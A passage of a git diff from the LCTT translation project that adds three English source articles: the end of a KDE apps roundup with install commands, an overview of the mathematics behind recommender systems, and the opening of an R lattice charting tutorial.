can help you to manage moderate to large projects. It is a part of the Calligra suite of applications and is loaded with all necessary features. Additionally, you can create tasks, schedule, assign resources and calculate costs. Other notable features of the Plan include supporting Microsoft Project documents and files you can import and export. + +Perhaps, Plan is one of the feature-rich applications unknown to many project management professionals, and companies end up paying hefty licensing fees to Microsoft Project. + +If you have not checked it out, do it today and manage your projects using this free, open-source software. + +![Plan – KDE App][2] + +**How to Install** + +Installation of the Plan is easy. On the KDE desktop, open Discover and search for “Plan”. And then hit install. + +If you prefer the command line, you can also use the following commands to install Plan. + +For Ubuntu and related distros: + +``` +sudo apt install calligraplan +``` + +For Fedora and related distros: + +``` +sudo dnf install calligraplan +``` + +**More information** + +* [Home page][3] +* [Documentation][4] +* [Source code][5] + +#### ISO Image Writer + +As its name says, the second app in this great KDE apps list is “ISO Image Writer”. It is similar to the [Fedora Media Writer][6] tool but with minimal features. + +Using this application, you can choose an ISO image file and directly write it to the target USB device. In addition, you can also erase the contents of the USB file using this app. + +It is available for Windows executable and macOS to help to create Linux ISO files. + +![ISO Image Writer][7] + +**Download** + +You can download the Windows Exe files and macOS packages on [this page][8]. + +**More information** + +* [Home page][9] +* [Source Code][10] + +#### Muon – Package Manager + +Muon is a package manager similar to the “Synaptic” package manager. It beings features such as system updates, custom software sources, and an easy-to-use package search. You can also search and mark packages for installation using Muon. It is smart enough to prompt you for dependencies before installing a package. I would say, Muon is almost a replica of Synaptic, and the only difference is that it is built using Qt. + +Perhaps, a not-so-popular app for KDE desktop, but a useful one. + +![Muon Package Manager][11] + +Installing the Muon package manager is easy using the following commands for Ubuntu and related distributions. + +``` +sudo apt install muon +``` + +**More information** + +* [Home page][12] +* [Source code][13] + +#### Peruse – Comic Book Reader + +If you are looking for an avid comic book lover, you should try out the next KDE app – “Peruse”. Peruse is a desktop comic book reader that gives you a unique experience while reading your favourite comics. The welcome screen gives you a thumbnail view of your comics collection sorted by the recently read. In addition, you can enjoy its frame-based navigation, which is available alongside page-based navigation. Moreover, you can also start from where you left off after closing the application. + +Also, it supports all the popular comic book formats as listed below. + +* Comic Book Archive (cbz, cbr, cb7, cbt, cba) +* PDF +* ePub Books +* DeVice Independent files (dvi) +* DeJaVu (djvu) +* Compiled Help files (chm) + +![Peruse][14] + +Installing Peruse is easy by using the following commands in Ubuntu Linux. + +``` +sudo apt install peruse +``` + +It is also available as a Snap package for other Linux distributions. You can download the Snap package [here][15]. + +**More information** + +* [Home page][16] +* [Source code][17] + +#### Ruqola + +The next app which we list here is “Ruqola”, which is a “Rocket.Chat” client. The “Rocket.Chat” is a fully customisable communication platform which provides data security for those who need it. It is one of the famous and secure communication platforms which is free and open-source. You can either host your server or opt for paid cloud server for Rocket Chat. + +After you set up the server, you can access using Ruqola. Plenty of desktop clients are available, but you can try this app because it is loaded with features and well-integrated with the KDE desktop. + +For example, you can reply to the messages from the notification pop-up on the KDE desktop. Besides that, it supports thread messages, channels, search, offline chat access, multi-account support and many more. + +![Ruqola – A Rocket.Chat Client][18] + +You can install Ruqola in Ubuntu and related distros using the following command. + +``` +sudo apt install ruqola +``` + +If you prefer Flatpak, you can install it using the instructions presented [here][19] via the Flathub repo. + +**More information** + +* [Home page][20] +* [Source code][21] + +#### Ikona + +The next app is only for the KDE desktop named “Ikona”. If you are a graphics designer, then perhaps this app can assist you in designing icons and visualising your icons in their environment. You can also access Plasma’s Breeze colour palette and export your icons to multiple resolutions. + +Moreover, it is a companion application that helps you when designing icons. Ikona lets you visualize your icons in an environment similar to a Plasma desktop, access the Breeze colour palette and export your icons in multiple sizes. + +![Ikona][22] + +Installing Ikona is easy using the Flatpak. First, set up Flatpak using [this guide][23] and click on the below link to install Ikona. + +[Install Ikona using Flathub][24] + +**More information** + +* [Home page][25] +* [Source Code][26] + +#### Kig + +In the first part of this series, we featured a similar graph plotter tool called “Khipu”. However, here’s another minimal version of it – called “Kig”. Kig is a mathematical graph plotter application that teachers and students can use to teach and learn geometry with its interactive plotting interface. + +It has a grid-based canvas where you can draw using your mouse via points, vectors and lines. In addition, it has a wide range of tools to draw more complex plots. Kig is part of [KDE Education project][27]. + +![Kig][28] + +Install Kig using the following command in Ubuntu and related Linux distributions. + +``` +sudo apt install kig +``` + +**More information** + +* [Home page][29] +* [Source code][30] + +#### Kwave + +Kwave is an audio file editor for KDE desktops. Like the famous and “controversial” Audacity audio editor, Kwave is loaded with features to perform many tasks on your audio files. + +If you are looking for an alternative to Audacity, you should check this out. It has a graphical user interface which shows the waveform of your audio file, which you can cut, paste, reduce noise, zoom in/out, scroll and performs multiple channel operations. It is one of the unknown applications for many users. + +![KWave][31] + +Installing Kwave is easy by using the command line. For Ubuntu and related distribution, you can use the following command to install. + +``` +sudo apt install kwave +``` + +It is also available as a Snap package [from here][32]. + +**More information** + +* [Home page][33] +* [Source code][34] + +#### Kapman + +Like the famous “Pac-Man” game? Then try “Kapman”, a clone of the classic Pac-Man game for KDE desktops. You can play around the maze to eat all the pills avoiding the ghost. + +Besides that, Kapman features health boosts via energizers, difficulty levels and several themes for a retro Pac-Man experience. + +![Kapman][35] + +You can install this game using the terminal using the following command in Ubuntu and related distributions. + +``` +sudo apt install kapman +``` + +Also, you can install it using [Flatpak][36] or [Snap][37]. + +**More information** + +* [Handbook/Documentation][38] +* [Source code][39] + +#### Francis + +The popular Pomodoro technique is to break your time into 25-minute chunks separated by 5 minutes break – called one Pomodoro. After 4 Pomodoro, you can take a more extended break. The final app in this list is “Francis”, a Pomodoro-style time tracking app for KDE desktops. + +Francis comes with a single-window which displays a timer. You can start, pause or stop the Pomodoro timer from the toolbar. + +Installing Francis is difficult because the executable link is broken on the official website. You may build it from Source using the Flatpak via the below commands. + +``` +git clone https://invent.kde.org/fhek/francis.gitcd francisflatpak-builder --repo=repo build-dir --force-clean org.kde.francis.json --install-deps-from=flathubflatpak build-bundle repo francis.flatpak org.kde.francis +``` + +``` +flatpak install francis.flatpak +``` + +**More information:** + +* [Home page][40] +* [Source code][41] + +### Conclusion + +That’s a wrap the Part 2 of great KDE Apps, and I hope you get to know some of the unique and homegrown KDE applications. If you missed the first part, you could read it here: + +[Part 1][42] + +Also, if you want to read similar app discovery series for Ubuntu and GNOME desktops, you can read them here. + +Stay tuned for Part 3. + +Cheers. + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/great-kde-apps-part-2/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/best-kde-apps-part-1/ +[2]: https://www.debugpoint.com/wp-content/uploads/2022/07/Plan-KDE-App.jpg +[3]: https://calligra.org/plan/ +[4]: https://docs.kde.org/index.php?application=calligraplan +[5]: https://invent.kde.org/office/calligraplan +[6]: https://www.debugpoint.com/fedora-media-writer/ +[7]: https://www.debugpoint.com/wp-content/uploads/2022/07/ISO-Image-Writer.jpg +[8]: https://binary-factory.kde.org/job/KDE%20ISO%20Image%20Writer_Nightly_win64/ +[9]: https://apps.kde.org/isoimagewriter/ +[10]: https://invent.kde.org/utilities/isoimagewriter +[11]: https://www.debugpoint.com/wp-content/uploads/2022/07/Muon-Package-Manager.jpg +[12]: https://apps.kde.org/muon/ +[13]: https://invent.kde.org/system/muon +[14]: https://www.debugpoint.com/wp-content/uploads/2022/07/Peruse.jpg +[15]: https://snapcraft.io/peruse +[16]: https://peruse.kde.org/ +[17]: https://invent.kde.org/graphics/peruse +[18]: https://www.debugpoint.com/wp-content/uploads/2022/07/Ruqola-A-Rocket.Chat-Client.jpg +[19]: https://flathub.org/apps/details/org.kde.ruqola +[20]: https://apps.kde.org/ruqola/ +[21]: https://invent.kde.org/network/ruqola +[22]: https://www.debugpoint.com/wp-content/uploads/2022/07/Ikona.jpg +[23]: https://www.debugpoint.com/how-to-install-flatpak-apps-ubuntu-linux/ +[24]: https://dl.flathub.org/repo/appstream/org.kde.Ikona.flatpakref +[25]: https://apps.kde.org/ikona/ +[26]: https://invent.kde.org/sdk/ikona +[27]: https://edu.kde.org/ +[28]: https://www.debugpoint.com/wp-content/uploads/2022/07/Kig.gif +[29]: https://edu.kde.org/kig/ +[30]: https://invent.kde.org/education/kig +[31]: https://www.debugpoint.com/wp-content/uploads/2022/07/KWave.jpg +[32]: https://snapcraft.io/kwave +[33]: http://kwave.sourceforge.net/ +[34]: https://invent.kde.org/multimedia/kwave +[35]: https://www.debugpoint.com/wp-content/uploads/2022/07/Kapman.jpg +[36]: https://flathub.org/apps/details/org.kde.kapman +[37]: https://snapcraft.io/kapman +[38]: https://docs.kde.org/?application=kapman +[39]: https://invent.kde.org/games/kapman +[40]: https://apps.kde.org/francis/ +[41]: https://invent.kde.org/utilities/francis +[42]: https://www.debugpoint.com/best-kde-apps-part-1/ diff --git a/sources/tech/20220707 Recommender Systems- An Overview of the Mathematics.md b/sources/tech/20220707 Recommender Systems- An Overview of the Mathematics.md new file mode 100644 index 0000000000..dd31130e62 --- /dev/null +++ b/sources/tech/20220707 Recommender Systems- An Overview of the Mathematics.md @@ -0,0 +1,307 @@ +[#]: subject: "Recommender Systems: An Overview of the Mathematics" +[#]: via: "https://www.opensourceforu.com/2022/07/recommender-systems-an-overview-of-the-mathematics/" +[#]: author: "Dibyendu Banerjee https://www.opensourceforu.com/author/dibyendu-banerjee/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Recommender Systems: An Overview of the Mathematics +====== +This two-part series of articles explains and demonstrates how to implement a recommender system for an online retail store using Python. In this first part of the series, the focus is on the theory behind such a system. The implementation will be covered in the second part. + +![retail-amazon-featured-img][1] + +Recommender systems are now widely used to personalise your online experience, advising you on what to buy, where to dine, and even who you should be friends with. People’s preferences vary, yet they tend to follow a pattern. They have a tendency to like things that are comparable to the other things they enjoy, and they have tastes that are similar to the tastes of the people they know. Recommender systems attempt to capture these trends to forecast what users might enjoy in the future. E-commerce sites, social networks, and online news platforms actively implement their own recommender systems to assist customers in making product choices more efficiently. + +You would have observed that Netflix and Amazon Prime recommend content that is similar to what you watched previously. So, how does this happen? It’s because of a machine learning based recommendation engine that figures out how similar the videos are to other things you like, and then it predicts your choices. + +In 2006, Netflix announced a competition to develop an algorithm that would “significantly increase the accuracy of forecasts about how much someone will enjoy a movie based on their movie tastes.” Since then, Netflix has expanded its use of data to include personalised ranking, page generation, search, picture selection, messaging, and marketing, among other things. The Netflix Recommendation Engine (NRE), its most effective algorithm, is made up of algorithms that select content based on each individual user profile. It’s so accurate that customised recommendations drive 80 per cent of Netflix’s viewer engagement. + +Netflix isn’t the only business that uses a recommender system. Amazon, LinkedIn, Spotify, Instagram, YouTube, and a few other websites employ recommendation algorithms to anticipate customer preferences and grow their businesses. + +With the growth of YouTube, Amazon, Netflix, and other similar Web services over the last few decades, recommender systems have become increasingly important in our lives. In a broad sense, these systems are algorithms that try to propose relevant items to consumers (these can range from music to perfumes, books, products to buy or anything else, depending on the industries). + +![Figure 1: E-commerce sites show alternative products][2] + +Now let’s look at the various recommender system paradigms and how they work, outline their mathematical foundations, and discuss the strengths and weaknesses of each of them. + +#### Relationships in the context of developing a recommendation system + +*User-product relationship:* When some users have an affinity or desire for specific items, this is known as the user-product connection. An athlete, for example, may have a taste for athletics-related things; therefore the e-commerce website will create an *Athletics -> Sports user-product* relationship. + +*Product-product relationship:* When items are similar in nature, whether by look or description, they form product-product associations. Books or music in the same genre, and dishes from the same cuisine are all such examples. + +*User-user relationship:* When two or more customers have similar tastes in a product or service, they form user-user relationships. Mutual friends, same backgrounds, comparable ages, and so on, are examples of this. + +![Figure 2: Related product recommendations][3] + +#### Providing data for a recommender system, and some challenges + +Data can be provided to a recommender system in a variety of methods. Explicit and implicit ratings are two of the most essential methods. + +**Explicit ratings:** The user expresses his or her opinion through explicit ratings. Star ratings, reviews, feedbacks, likes, and following someone are just a few examples. Exact ratings can be difficult to obtain because people do not always rate things. + +![Figure 3: Location specific recommendations][4] + +*Implicit ratings:* When people interact with an item, they give implicit ratings. These infer a user’s activity and are simple to obtain because consumers click implicit ratings subconsciously. Clicks, views, and purchases are all examples of such ratings. + +![Figure 4: Content based filtering][5] + +| - | +| :- | +| Note: Users spend time and money on what is most important to them; therefore views and purchases are a better entity to promote. | + +There are some specific technical challenges to building a recommendation engine, some of which are explained below. + +* Lack of data: To produce effective predictions, recommender systems require a huge amount of data. Large firms like Google, Apple and Amazon can generate better +recommendations since they collect data about their customers on a regular basis. There are also recommender systems that are based just on purchases, with no ratings recorded. If clients do not rate a book, Amazon does not know how much they enjoyed it. +* Cold start: This situation comes when new customers or new items are added to the system; a new item cannot be recommended to customers when it is first introduced to the recommender system because it lacks ratings or reviews, making it difficult to predict the choice or interest of customers, resulting in less accurate recommendations. A newly released movie, for example, cannot be recommended to the user until it has received some ratings. A new customer item added-based problem is difficult to handle because it is impossible to find similar users without prior knowledge of their interests or preferences. +Sparsity: This occurs when the majority of users do not provide ratings or reviews for the items they purchase, causing the rating model to become very sparse, potentially leading to data sparsity issues. This reduces the chances of finding a group of users with similar ratings or interests. +* Latency: Many products are added frequently to the database of recommendation systems; however, only the previously existing products are generally recommended to users because newly added products have not yet been rated. + +![Figure 5: Collaborative filtering][6] + +#### Use cases for recommender systems + +The following are some of the potential use cases of a recommender system that can add value to a business. + +* Alternative product recommendations: You’ve probably tried to buy something you wanted, only to find it wasn’t available. But it’s unlikely you left the website after that. Instead, you may come across something similar, which you may or may not purchase. Companies utilise a recommendation system to keep customers online by providing them with alternatives to the product they want. +* Related product recommendations: Another important application of recommender systems is related product recommendations. When customers make a purchase, it’s only natural to offer them something complementary. If a customer purchases a wrist watch, the system may suggest a wallet, which goes well with it. +* Real-time true personalisation: With every second of customer activity on e-commerce sites, recommender systems can provide product or content or lifestyle recommendations. They can serve as a shopping assistant, using all the information the customer gives to offer improved recommendations, thus creating a better shopping experience. + +### Recommender systems: A broad categorisation + +#### Content-based filters + +Content-based recommender systems give recommendations based on objects or user metadata. The user’s previous purchases are scrutinised. For example, if a user has previously read a book by a particular author or purchased a product from a particular brand, it is considered that the user has a preference for that author or brand and is likely to purchase a similar product in the future. For example, if a user likes the book ‘The Adventures of Feluda’ by Satyajit Ray, then the system recommends more books by the same author or other detective books like ‘The Mystery of the Fortress & Other Stories’. + +Two types of data are used in this filtering. The first includes the user’s preferences, interests, and personal information such as age or, in some cases, the user’s history. The user vector represents this information. The second is an item vector, which is a collection of information about a product. The item vector contains all the information that can be used to calculate the similarity between things. Cosine similarity is used to determine the recommendations. + +#### Collaborative filtering + +This is regarded as one of the most intelligent recommender systems, and is based on the similarity between different users and things such as e-commerce websites and online movie websites. It makes recommendations based on the preferences of comparable users. Similarity is not limited to the user’s preference; it can also be considered between distinct objects. If we have a big amount of knowledge about people and things, the algorithm will make more efficient recommendations. + +Collaborative filtering is a method of recommending items that a user might enjoy based on the reactions of other users. It works by sifting through a huge group of people to locate a smaller group of users with likes similar to a specific user. It analyses their favourite things and creates a ranked list of recommendations. + +A collaborative filtering system’s workflow is usually as follows: + +* A user expresses his or her choices by rating system objects (for example, music, books, or movies). These ratings might be considered as an approximation of the user’s interest in the topic. +* The system matches this user’s preferences against other user preferences and finds the people with the most ‘similar’ choice. +* The system recommends items that similar users have rated the most but have not yet been rated by this user (the absence of rating is often considered as unfamiliarity with an item). + +The main challenge of collaborative filtering is combining and weighing the preferences of user neighbours. Users can sometimes rate the recommended items right away. As aresult, over time, the system obtains a more accurate depiction of consumer preferences. + +#### The math behind finding the ‘similarity’ to recommend + +So, how does a recommender system determine ‘similarity’? The distance metric is used to do this. Similarity is a subjective concept that varies greatly depending on the domain and application. The points closest to each other are the most similar, while the points furthest apart are the least relevant. Two films, for example, may be comparable in terms of genre, length, or actors. When measuring distance between unrelated dimensions/features, caution is advised. The relative values of each element must be normalised, else the distance calculation will be dominated by one feature. + +**Minkowski distance:** The Minkowski distance is the general form when the dimension of a data point is numeric. It’s a metric for vector spaces with real values. Minkowski distance can only be calculated in a normed vector space, which is a space where distances can be represented as a vector with a length that cannot be negative. Manhattan(r=1) and Euclidean(r=2) distance measurements are generalisations of this generic distance metric. + +The formula shown above for Minkowski distance is in a generalised form, and we can manipulate it to get different distance metrics. Here, the ‘p’ value can be manipulated to give us different distances like: + +![][7] + +* p = 1; when p is set to 1, it is Manhattan distance +* p = 2; when p is set to 2, it is Euclidean distance + +**Manhattan distance:** This distance is also known as taxicab distance or city block distance because of how it is calculated. The sum of the absolute differences of two places’ Cartesian coordinates is the distance between them – it’s the distance between two places when measured at right angles along axes. The formula is: + +**[Euclidean distance:][8]** The square root of the sum of squares of the difference between the coordinates is given by the Pythagorean theorem: + +![][9] + +**[Cosine similarity:][10]** This is a metric that is useful in determining how similar the data objects are, irrespective of their size. Cosine similarity calculates the cosine of the angle between two vectors to determine how similar they are. In cosine similarity, data objects in a data set are treated as a vector. The formula to find the cosine similarity between two vectors is: + +![][11] + +``` +Cos(x, y) = x . y / ||x|| * ||y|| +``` + +where, + +* x, y = product (dot) of the vectors ‘x’ and ‘y’ +* ||x|| and ||y|| = length of the two vectors ‘x’ and ‘y’ +* ||x|| * ||y|| = cross product of the two vectors ‘x’ and ‘y’ + +The cosine similarity between two vectors is measured in ‘θ’. If θ = 0°, the ‘x’ and ‘y’ vectors overlap, thus proving they are similar. If θ = 90°, the ‘x’ and ‘y’ vectors are dissimilar. + +#### Word embedding in the context of building a recommender system + +Word embeddings are texts that have been translated into numbers, and there may be multiple numerical representations of the same text. But before we get into the specifics of word embedding, we need to consider the following question: Why do we need it? + +Many machine learning algorithms and almost all deep learning architectures are unable to interpret strings or plain text in their raw form, as we all know. They need numbers as inputs to accomplish any task, including classification, regression, and so forth. Word embedding is nothing but the process of converting text data to numerical vectors. These vectors are then utilised to create a variety of machine learning models. In a sense, we could describe this as extracting features from text in order to create numerous natural language processing models. + +We can transform text data into numerical vectors in a variety of ways. We’ll learn about numerous word embedding strategies with examples in this post, as well as how to apply them in Python. + +### Techniques for word embedding + +The common and easy word embedding methods for extracting characteristics from text are: + +* TF-IDF +* Bag of words +* Word2vec + +#### TF-IDF + +A popular word embedding technique for extracting features from corpus or language is TF-IDF. It is a statistical way of finding how important a word is to a document over other documents. + +TF stands for ‘term frequency’. In TF, we assign a score to each word or symbol according to how frequently it appears. The frequency of a word is determined by the document’s length. This means that a word appears more frequently in huge documents than in small or medium documents. To solve this problem, we can normalise the frequency of a word by dividing it by the length of the document (total number of words). + +Using this method, we may create a sparse matrix with the frequency of each word. + +``` +TF=Number of times a term occurs in a document/total number of words in a document +``` + +#### IDF + +The full form of IDF is ‘inverse document frequency’. Here, we are assigning a score value to a word, which explains how infrequent a word is across all documents. Infrequent words have higher IDF scores. + +``` +IDF = log base e (total number of documents/number of documents that have the term) + +TF - IDF = TF * IDF +``` + +TF-IDF value is increased based on the frequency of the word in a document. This approach is mostly used for document/text classification, and also successfully used by search engines like Google as a ranking factor for content. + +When compared to the words that are relevant to a document, some common words (like ‘a’, ‘the’, ‘is’) appear relatively frequently in a huge text corpus. These popular words convey very little information about the document’s actual contents. If we fed the count data of these commonly occurring words directly to a classifier, the frequencies of rarer but more intriguing phrases would be overshadowed. So, ideally, what we want is to give lesser weightage to the common words occurring in almost all documents and give more importance to words that appear in a subset of documents. + +The TF-IDF transform is frequently used to re-weigh count features into floating point values suitable for use by a classifier. This technique considers the occurrence of a word over the entire corpus, not just in a single document. Consider a business article — it will have more business-related terms like stock markets, prices, shares, and so on, than any other article, but terms like ‘a’, ‘an’, and ‘the’ will also appear frequently in it. As a result, this technique will punish certain high-frequency words. + +Consider the table given below, which shows the total number of terms (tokens/words) in two papers. + +| - | - | - | - | +| :- | :- | :- | :- | +| Document 1 | Document 2 | +| TERM | COUNT | TERM | COUNT | +| this | 1 | this | 1 | +| is | 1 | is | 2 | +| about | 2 | about | 1 | +| pandemic | 4 | technology | 1 | + +Let’s define a few terminologies associated with TF-IDF now. + +``` +Term Frequency (TF) = (Number of times term t appears in a document)/(Number of terms in the document) +So, TF (This, Document1) = 1/8 +TF (This, Document2) =1/5 +``` + +This denotes the word’s contribution to the document, i.e., terms that are relevant to the document should appear frequently. For example, a document discussing a pandemic should use the word ‘pandemic’ frequently. + +``` +IDF = log (N/n), where, N is the number of documents and n is the number of documents a term t has appeared in. +So, IDF (This) = log (2/2) = 0. +``` + +So, what’s the best way to explain why IDF exists. Ideally, if a term appears multiple times in a paper, it is unlikely that it is significant to that document. However, if it appears in a subset of papers, it is likely that the word is relevant to the documents in which it appears. + +Let us compute IDF for the word ‘pandemic’: + +``` +IDF (pandemic) = log (2/1) = 0.301. +``` + +Now, let us compare the TF-IDF for a common word ‘this’ and a word ‘pandemic’ which seems to be of relevance to Document 1. + +``` +TF-IDF (this, Document1) = (1/8) * (0) = 0 +TF-IDF (this, Document2) = (1/5) * (0) = 0 +TF-IDF (pandemic, Document1) = (4/8)*0.301 = 0.15 +``` + +As you can see, for Document 1, the TF-IDF method heavily penalises the word ‘this’, but assigns greater weight to ‘pandemic‘. So, this may be understood as ‘pandemic’ is an important word for Document 1 from the context of the entire corpus. + +### Bag of words + +Humans can understand a language in a fraction of a second. Machines, on the other hand, are unable to comprehend a language. We need to translate the text into a numerical format that the system can interpret. Because most machine learning and statistical models deal with quantitative data, we must transform all the texts to numbers. Bag of words is one of the simplest techniques to do this. In this approach, we perform two operations: + +* Tokenization +* Vectors creation + +**Tokenization:** This is the process of breaking down each sentence into words or smaller chunks. Each word or symbol is referred to as a token in this context. We can take unique words from the corpus after tokenization. The tokens we have from all the documents we’re examining for the bag of words construction are referred to as ‘corpus’. + +**Vectors creation:** Here, the size of the vector is equal to the number of unique words of the corpus. We can fill each position of a vector with the corresponding word frequency in each sentence. Let’s look at an example. + +* I like to drink tea. +* Tea is good for your health. +* Tea is more popular than coffee in India. + +If we want to analyse the above sentences or build any ML model, we first need to convert them into numbers, as I mentioned above. + +The first step is to tokenize the sentences. This is nothing but splitting the above three sentences into individual words. + +![Figure 6: Euclidean distance and Manhattan distance][12] + +The next step is to find all the unique words from the above sentences and build the vocabulary. We’ll have to make a dictionary with keys and values. The words in our corpus serve as keys, and the frequency of those terms throughout the corpus serves as values. To put it another way, simply count the number of times each word appears in each sentence. +From Table 1, we can see the numbers corresponding to the respective sentences. The first row represents the vector for sentence 1. Given below are the vectors for: + +``` +Sentence 1 = [1,1,1,1,1,0,0,0,0,0,0,0,0,0,0] +Sentence 2 = [0,0,0,0,1,1,1,1,1,0,0,0,0,0,0] +Sentence 3 = [0,0,0,0,1,1,0,0,0,1,1,1,1,1,0] +``` + +The bag of words paradigm is based on this concept. The above vector representation can be used as an input for ML or statistical models. + +![table 1][13] + +### Word2vec + +In a sentence, every word is dependent on another word or words. Word dependencies must be captured if we are to uncover commonalities and relationships between words. + +We can’t capture the meaning or relationship of words from vectors using the bag of words and TF-IDF approaches. Word2vec creates embeddings, which are vectors. The word2vec model takes a big corpus as input and outputs it in vector space. The dimensionality of this vector space could be in the hundreds. This vector space will be used to position each word vector. + +![Figure 7: Cosine similarity][14] + +In vector space, all words in a corpus that are closer to each other share a common context. In this space, a word vector contains the positions of associated words. + +Continuous bag of words (CBOW) and skip-gram are two neural network-based versions offered by word2vec. The neural network model in CBOW takes a variety of words as input and predicts a target word that is closely connected to the input words’ context. The skip-gram design, on the other hand, takes one word as input and anticipates its closely related context terms. + +CBOW is faster and finds better numerical representations for common words, although skip-gram can represent rare words effectively. Word2vec models excel at capturing semantic connections between words. Consider the relationship between a country and its capital, such as France’s capital, Paris, and Germany’s capital, Berlin. These models are best at doing semantic analysis, which is useful for making recommendations. + +**Applicability of word2vec models in building product recommendations:** Word2vec uses the sequential nature of the text as a fundamental property of a natural language to produce vector representations of text. There is a word sequence in every sentence or phrase. We would have great difficulty understanding the text without this sequence. + +One such example is the purchases made by consumers on e-commerce websites online. There is generally a pattern in the buying behaviour of consumers. For instance, a person involved in sports-related activities might have an online buying pattern similar to what is shown in Figure 8. + +![Figure 8: Purchase history][15] + +We can quickly locate related products if we can represent each of these things as a vector. So, if a user is looking at a product online, we can quickly offer related things to him or her based on the product’s vector similarity score. However, how can we obtain a vector representation of these items? Is it possible to obtain these vectors using the word2vec model? Yes, it is! Consider a customer’s purchasing history as a sentence, with the products as the words, as shown in Figure 9. + +![Figure 9: Customer’s purchasing history as a sentence][16] + +So we have seen how a recommender system works and the mathematics behind it. We have also covered some basics of the ML being used in such a system. In the next part of this two-part series of articles, we will see how we can apply the knowledge learnt here to build a recommender system in Python. + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/07/recommender-systems-an-overview-of-the-mathematics/ + +作者:[Dibyendu Banerjee][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/dibyendu-banerjee/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/05/retail-amazon-featured-img.jpg +[2]: https://www.opensourceforu.com/wp-content/uploads/2022/05/Figure-1-E-commerce-sites-show-alternative-products.jpg +[3]: https://www.opensourceforu.com/wp-content/uploads/2022/05/Figure-2-Related-product-recommendations.jpg +[4]: https://www.opensourceforu.com/wp-content/uploads/2022/05/Figure-3-Location-specific-recommendations.jpg +[5]: https://www.opensourceforu.com/wp-content/uploads/2022/05/Figure-4-Content-based-filtering.jpg +[6]: https://www.opensourceforu.com/wp-content/uploads/2022/05/Figure-5-Collaborative-filtering.jpg +[7]: https://www.opensourceforu.com/wp-content/uploads/2022/05/equation-1.jpg +[8]: https://www.opensourceforu.com/wp-content/uploads/2022/05/equation-2.jpg +[9]: https://www.opensourceforu.com/wp-content/uploads/2022/05/equation-2.jpg +[10]: https://www.opensourceforu.com/wp-content/uploads/2022/05/equation-3.jpg +[11]: https://www.opensourceforu.com/wp-content/uploads/2022/05/equation-3.jpg +[12]: https://www.opensourceforu.com/wp-content/uploads/2022/05/Figure-6-Euclidean-distance-and-Manhattan-distance.jpg +[13]: https://www.opensourceforu.com/wp-content/uploads/2022/05/table-1.jpg +[14]: https://www.opensourceforu.com/wp-content/uploads/2022/05/Figure-7-Cosine-similarity.jpg +[15]: https://www.opensourceforu.com/wp-content/uploads/2022/05/Figure-8-Purchase-history.jpg +[16]: https://www.opensourceforu.com/wp-content/uploads/2022/05/Figure-9-Customers-purchasing-history-as-a-sentence.jpg diff --git a/sources/tech/20220708 Data Visualisation in R- Graphs.md b/sources/tech/20220708 Data Visualisation in R- Graphs.md new file mode 100644 index 0000000000..18e61bb333 --- /dev/null +++ b/sources/tech/20220708 Data Visualisation in R- Graphs.md @@ -0,0 +1,396 @@ +[#]: subject: "Data Visualisation in R: Graphs" +[#]: via: "https://www.opensourceforu.com/2022/07/data-visualisation-in-r-graphs/" +[#]: author: "Shakthi Kannan https://www.opensourceforu.com/author/shakthi-kannan/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Data Visualisation in R: Graphs +====== +In this tenth article in the R series, we will continue to explore data visualisation in R with the lattice and ggplot2 packages. + +![Data-Visualisation-in-R-Graphs-Featured-image][1] + +We will be using the R version 4.1.2 installed on Parabola GNU/Linux-libre (x86-64) for the example code snippets in this article. + +``` +$ R --version +R version 4.1.2 (2021-11-01) -- “Bird Hippie” +Copyright (C) 2021 The R Foundation for Statistical Computing +Platform: x86_64-pc-linux-gnu (64-bit) +``` + +R is free software and comes with absolutely no warranty. You are welcome to redistribute it under the terms of the GNU General Public License versions 2 or 3. For more information about these matters, see https://www.gnu.org/licenses/. + +### Lattice + +#### Line chart + +Consider the consumer prices (annual per cent) inflation data for India between 1960 and 2022 available from the World Bank. You can use the years in the x-axis, and the inflation on the y-axis to produce a line chart using the xyplot function, as shown below: + +``` +> x<-c(1960:2020) + +> y<-c(1.77,1.69,3.63,2.94,13.35,9.47,10.80,13.06,3.23,-0.58,5.09,3.07,6.44,16.94,28.59,5.74, + +-7.63,8.30,2.52,6.27,11.34,13.11,7.89,11.86,8.31,5.55,8.72,8.80,9.38,7.07,8.97,13.87,11.78,6.32,10.24,10.22,8.97,7.16,13.23,4.66,4.00,3.77,4.29,3.80,3.76,4.24,5.79,6.37,8.34,10.88,11.98,8.85,9.31,11.06,6.64,4.90,4.94,3.32,3.94,3.72,6.62) + +> d <- data.frame(x,y) + +> xyplot(y~x, data=d, type=”l”, main=”Inflation, consumer prices (annual %)”) +``` + +The line chart is shown in Figure 1. + +![Figure 1: Line chart][2] + +The *xyplot* accepts the following arguments: + +| Argument | Description | +| :- | :- | +| data | A data frame containing values | +| groups | A grouping variable in the data | +| main | The title of the chart | +| strip | A logical condition on whether to draw strips | +| x | The primary numeric variable | +| xlab | The label for x-axis | +| xlim | A numeric vector that specifies left and right limits for x-axis | +| ylab | The label for y-axis | +| ylim | A numeric vector of length two that mentions lower and upper limits for y-axis | + +**The barchart function** + +The *bar chart* function produces a bar chart for the given data. In the following example, we specify a function to the axis argument to use the year on the x-axis. + +![Figure 2: Bar chart][3] + +``` +> barchart(y~x|x, data=d, horizontal=FALSE, axis=function(side, ...) { if (side==”bottom”) panel.axis(at=seq_along(d$x), label=d$x, outside=TRUE, rot=0, tck=0) else axis.default(side, ...)}, main=”Inflation, consumer prices (annual %)”) +``` + +The additional set of arguments available to the xyplot and barchart are listed below: + +| Argument | Description | +| :- | :- | +| 